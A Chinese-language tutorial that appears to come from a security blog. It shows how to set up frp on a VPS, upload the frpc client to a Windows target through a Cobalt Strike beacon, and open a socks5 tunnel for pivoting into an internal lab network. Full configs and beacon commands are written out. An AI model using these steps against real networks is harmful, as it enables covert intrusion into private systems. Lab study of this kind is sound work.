題記
最近打算着實研究研究內網滲透,端口轉發這塊折磨我好久了,看了好多理論覺得雲里霧里的,所以打算親自操作看看,畢竟實踐是檢驗真理的唯一標准。
Frp簡介
搭建frp服務器進行內網穿透,可用且推薦,可以達到不錯的速度,且理論上可以開放任何想要的端口,可以實現的功能遠不止遠程桌面或者文件共享。
frp就是一個反向代理軟件,它體積輕量但功能很強大,可以使處於內網或防火牆后的設備對外界提供服務,它支持HTTP、TCP、UDP等眾多協議。我們今天僅討論TCP和UDP相關的內容。
准備工作
1、VPS一台(具有公網ip的服務器):kali
2、目標服務器:Windows
3、簡單的linux基礎
服務端設置
SSH連接到VPS之后運行如下命令查看處理器架構,根據架構下載不同版本的frp
arch
查看結果,如果是"X86_64"即可選擇"amd64",運行如下命令,根據架構不同,選擇相應版本並進行下載
wget https://github.com/fatedier/frp/releases/download/v0.22.0/frp_0.22.0_linux_amd64.tar.g然后解壓tar -zxvf frp_0.22.0_linux_amd64.tar.gz
文件夾改個名,方便使用
cp -r frp_0.22.0_linux_amd64 frp
把解壓出來的文件夾復制到你想要的目錄下,為了方便我直接放在用戶目錄下了,進入該目錄
cd frp
查看一下文件
ls -a
我們只需要關注如下幾個文件
frps
frps.ini
frpc
frpc.ini
前兩個文件(s結尾代表server)分別是服務端程序和服務端配置文件,后兩個文件(c結尾代表client)分別是客戶端程序和客戶端配置文件。因為我們正在配置服務端,可以刪除客戶端的兩個文件。
rm frpc
rm frpc.ini
然后修改frps.ini文件
vim frps.ini
[common] bind_addr = 0.0.0.0 #綁定的ip,為本機 bind_port = 7000 #綁定的端口 dashboard_addr = 0.0.0.0 #管理地址 dashboard_port = 27500 #管理端口 dashboard_user = root #管理的用戶名 dashboard_pwd = 123456 #管理用戶的密碼 token = 1q2w3e #客戶端服務端連接的密碼 heartbeat_timeout = 90 #心跳超時時間 max_pool_count = 5 #最大同時連接數
編輯完成后保存
之后我們就可以運行frps的服務端了
./frps -c frps.ini
如果看到屏幕輸出這樣一段內容,即表示運行正常,如果出現錯誤提示,請檢查上面的步驟。
此時訪問 x.x.x.x:27500 並使用自己設置的用戶名密碼登錄,即可看到儀表板界面
客戶端設置
把文件通過cs上傳上去
frpc.ini配置
[common] server_addr = 103.234.72.5 server_port = 7000 #服務器綁定的端口 token = 1q2w3e pool_count = 5 protocol = tcp #協議類型 health_check_type = tcp health_check_interval_s = 100 [test] remote_port = 10000 #代理的端口 plugin = socks5 #使用的協議 use_encryption = true #是否加密 use_compression = true
客戶端啟動
在cs的輸入beacon命令啟動客戶端
cd C:\frp_0.34.3_windows_amd64
shell frpc.exe -c frpc.ini
啟動后服務器端操作界面會回顯一個連接。
我們本機設置代理:socks5 103.234.72.5 10000
這里我們用火狐的代理插件
我代理的目標ip地址為192.168.0.132,是一個虛擬機靶場,我真實機器ip為192.168.0.129,在真實機器掛代理后訪問頁面127.0.0.1可以訪問到靶場,可見成功走132的流量。
Frp代理拓撲圖(便於理解)
我用visio畫的,看起來有些簡陋,但是理是那個理。端口映射也就這么回事。
參考文獻
1、使用frp進行內網穿透:https://sspai.com/post/52523/
2、[安世加] - 2020-04-26 內網滲透 - 內網穿透工具FRP的使用